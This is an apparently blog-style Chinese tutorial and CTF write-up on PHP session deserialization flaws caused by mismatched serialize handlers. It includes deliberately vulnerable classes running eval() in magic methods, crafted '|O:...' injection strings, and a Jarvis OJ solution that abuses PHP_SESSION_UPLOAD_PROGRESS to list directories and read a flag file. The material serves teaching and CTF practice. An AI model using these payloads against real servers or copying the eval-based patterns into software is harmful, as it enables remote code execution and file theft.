PHP Session 序列化及反序列化处理器

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize(php>=5.5.4)经过 serialize() 函数反序列处理的数组

配置选项 session.serialize_handler

PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器

安全隐患

一个简单例子:

<?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示

下面是如何利用:

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
\
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

举个栗子:

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }
    
    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

实际利用

i)当 session.auto_start=On 时:

当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:

//foo.php

if (ini_get('session.auto_start')) {
    session_destroy();
}

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

当第一次访问该脚本,并提交数据如下:

foo.php?ryat=|O:8:"stdClass":0:{}

脚本会按照 php_serialize 处理器的序列化格式存储数据:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)

这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

ii)当 session.auto_start=Off 时:

当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

//foo1.php

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];


//foo2.php

ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini 
session_start();

class ryat {
    var $hi;

    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

当访问 foo1.php 时,提交数据如下:

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法

本地测试

<?php 
ini_set('session.serialize_handler', 'php_serialize'); 
session_start(); 
$_SESSION["Ni9htMar3"]=$_GET["a"]; 
?>
<?php 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class Ni9htMar3 
{ 
    public $haha;
    function __construct()
    { 
        //$this->haha = 'echo "Hacked!";';
        $this->haha = 'phpinfo();';         
    } 
    function __destruct() 
    { 
        eval($this->haha); 
    } 
} 
//$m = new Ni9htMar3();
//echo serialize($m);
//|O:9:"Ni9htMar3":1:{s:4:"haha";s:15:"echo "Hacked!";";}
?>

session_start()介绍
php session_start()函数用于初始化session数据,我们在使用session时,经常要使用到$_SESSION变量,$_SESSION是服务器端的cookie,相当一个大数组(浏览器关闭前,和session销毁前),$_SESSION中的数据可以一直用(除了重新赋值),在使用这个变量之前,必须先要开启session_start()。但不一定要把这个函数放在第一行,而是要保证在使用它之前,没有向浏览器输出过任何内容。

特别注意:在调用session_start()之前,要确保页面没有向浏览器输出过任何内容。

php配置文件里可以设置session.auto_start =1 这样就不需要调用session_start(),直接就能使用session

php session_start()实例讲解

<?php
    /* http://www.manongjc.com/article/1267.html */  
    session_start();  
    $_SESSION['test'] = 'test111';  
    $_SESSION['test2'] = 22222;  
?>  

session_start()会做两件事:

  1. 在客户端生成一个存放PHPSESSID的cookie文件,

这个文件的存放位置和存放方式跟程序的执行方式有关,不同的浏览器也不尽相同,这一步会产生一个序列化后的字符串——PHPSESSID;

  1. 在服务端生成一个存放session数据的临时文件;

存放的位置由session.save_path参数指定,名称类似于“sess_b2f326ee7a8b7617c215a30d22a602f1”,“sess_”代表这是个session文件,“b2f326ee7a8b7617c215a30d22a602f1”即此次会话的PHPSESSID,跟客户端的PHPSESSID一定是一样的。这个文件里存放的就是$_SESSION变量里的具体值,格式为:

变量名 | 变量类型 : [长度] : 值

eg:test|s:7:"test111";test2|i:22222;

ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 

php大于5.5.4的版本中默认使用php_serialize规则

例子

题目源码:jarvis oj 一道题。

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

可以看到ini_set('session.serialize_handler', 'php');

session.serialize_handler函数是用来设置session序列化引擎的。这里是将session序列化引擎设置为php解析

题目的关键点就在这里,如果PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化可以在phpinfo里看到,xx服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。

php引擎的解析方式是以 | 分割键名和键值。比如name|s:6:"hu3sky";而php_serialize引擎的解析出来的是a:1:{s:4:"name";s:6:"hu3sky";} 这里只要是php_serialize解析都会有a:1这时我们就可以按照这个特性来构造执行对象的命令。

通过php_serialize构造的:

a:1:{s:6:"hu3sky";s:20:"|O:8:"stdClass":0:{}";}

以php的方式解析会变为:

array(1) { ["a:1:{s:6:"hu3sky";s:20:""]=> object(stdClass)#1 (0) { }}

成功执行了变量。

服务器默认的解析方式是php_ serialize。而题目中将解析方式设置成了php。这就造成了seesion的反序列化问题。即先以php_serialize存入,再以php的序列化方式读取。

这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS(需要session.upload_progress.enabled 状态为 on)的变量,就可以将filename的值赋值到session中,上传的页面的写法在上面。

最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。

配置不当可造成session被控。当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

在phpinfo 查看 session.upload_progress.name 构造如下上传页面:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后构造payload:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz = 'payload';
}
$obj = new OowoO;
echo serialize($obj);
?>

payload1:将payload替换为print_r(scandir(dirname(FILE)));,得到序列化结果(获取目标目录下的内容):

(原博客中此payload有错,已改正。)
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

防止转义在引号前加上。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意前面的|不要忘了,php解析是把|后面的当成键值。

看到如下返回值内容:

</code>Array
(
    [0] => .
    [1] => ..
    [2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
    [3] => index.php
    [4] => phpinfo.php
)

下面读取php文件:

先看一下绝对路径,payload如下:

filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:29:\"print_r((dirname(__FILE__)));\";}"

读取文件:

print_r(file_get_contents(“/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”));

加上为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

读取得到flag。

参考

preView